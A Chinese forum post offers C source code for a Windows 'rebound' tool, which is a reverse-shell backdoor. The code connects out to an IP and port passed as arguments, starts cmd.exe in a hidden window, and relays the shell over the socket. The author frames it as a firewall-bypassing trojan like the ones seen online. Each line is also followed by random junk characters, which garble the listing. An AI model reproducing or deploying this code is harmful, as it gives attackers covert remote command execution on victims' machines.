这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $4jell
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/* ============================== ?Z\Yu'
Rebound port in Windows NT .I3?7
By wind,2006/7 ,n!vsIN
===============================*/ ~f|Z%&l|
#include 3cj3u4y
#include @eqeN9e
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#pragma comment(lib,"wsock32.lib") *9ywXm&?
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void OutputShell(); Qy#)Gxp
SOCKET sClient; R`F,aIJ]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dBO@6*N4c
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void main(int argc,char **argv) f[gqT
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{ :5GZ \Z8F
WSADATA stWsaData; v+6@cC
int nRet; %}2@rLP
SOCKADDR_IN stSaiClient,stSaiServer; _Fp>F
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if(argc != 3) F2(q>#<_
{ I[o*RKT'"
printf("Useage:\n\rRebound DestIP DestPort\n"); A5#y?Aq
return; {|9}+
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} Ql?^
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]43[6Im
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 33:DH}
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stSaiClient.sin_family = AF_INET; "a1O01n
stSaiClient.sin_port = htons(0); 4^c-D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EjEFg#q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3L-^<'~-k;
{ lfk9+)
printf("Bind Socket Failed!\n"); 4dH}g~[P9
return; >=ot8%.!,B
} \d.F82
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stSaiServer.sin_family = AF_INET; _17|U K|N
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >L((2wfiN
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S_J :&9L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~>ME'D~
{ z xD,E@lF
printf("Connect Error!"); [nN7qG
return; A3P9.mur
} Ru%|}sfd
OutputShell(); g=]&A
} ,W5.:0Y;f[
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void OutputShell() g: %9jf
{ ~HLRfL?
char szBuff[1024]; ph30'"[Z}
SECURITY_ATTRIBUTES stSecurityAttributes; _[Gb)/@mM
OSVERSIONINFO stOsversionInfo; wV<7pi
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,-*iCs<
STARTUPINFO stStartupInfo; ^,s?e.u$8`
char *szShell; dK?);*w]
PROCESS_INFORMATION stProcessInformation; %j]STD.E
unsigned long lBytesRead; ~bU7QLr
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z-Wfcnk
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mPt)pn!rA
stSecurityAttributes.lpSecurityDescriptor = 0; 3_ 2hC!u!K
stSecurityAttributes.bInheritHandle = TRUE; <,39_#H?F3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VZxTx0: ,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z4Oo@3$\R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4\Di,PPu
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n
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stStartupInfo.wShowWindow = SW_HIDE; lJ/6-dP
stStartupInfo.hStdInput = hReadPipe; a+(j?_FyI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]mkJw 3
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GetVersionEx(&stOsversionInfo); b :\D\X
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switch(stOsversionInfo.dwPlatformId) mZoD033H
{ EZAm)5:]A
case 1: 7>je6*(K
szShell = "command.com"; !RMS+Mm?
break; c cr" ep
default: "@t-Cy:!O
szShell = "cmd.exe"; H1UL.g%d=
break; FLbZ9pX}
} m# ad6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /RF%1!M
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send(sClient,szMsg,77,0); 9".Uc8^p/F
while(1) Z[;#|$J
{ >\\5"Sf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yV_
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if(lBytesRead) g\J)= ,ju,
{ !$E~\uT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eiB(VOJ
send(sClient,szBuff,lBytesRead,0); s>J3\PC
} [f(uqLdeM
else "o==4?*L
{ {d}26 $<$]
lBytesRead=recv(sClient,szBuff,1024,0); 1}DerX 6
if(lBytesRead<=0) break; ;y>'yq}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >C^/,/%v
} ORtg>az\%
} =#'+"+lQ }
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return; ahoh9iJ
}